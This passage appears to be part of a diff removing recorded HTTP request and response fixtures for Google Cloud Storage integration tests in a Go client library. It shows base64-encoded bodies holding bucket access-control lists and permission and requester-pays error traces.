ZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "95b915570e7c2375", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "684" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrOZjNI5VbLPTLuBwhSAdcgxvqgcFpH-ED4XyEgIbnndmtC_zJ0lkLfudymSRpdRE4NBxn1Vp-AmZnb1ONsP2I1GBnLYfpYRbzFQpmihPrgBkDnaB4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBVT0ifV19" - } - }, - { - "ID": "e4170c637b705043", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "684" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqXQonYrNQZxcXoDllGz19Ruu-Eq1_3FVjMndISB0h1O1ojodwFr2Xor2nZHBZgv3NN_YOSrunnT_KYTfBFNdqtVvqVC2L19Qhwk-cxse_FqrMVbIM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBVT0ifV19" - } - }, - { - "ID": "a3918deffd2f8f0f", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12203" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpCCE2tr_4iWFlwmQkFVvzfskSWvZdvohQYV52oXF-tWUfie6Brp5TYrvUYx7jH8zsTg9qqk_kv0th8pOA1WsHahBUbDYuaqAmW0EpSJI6_xjBPdZ8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9UkVRVUlSRUQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2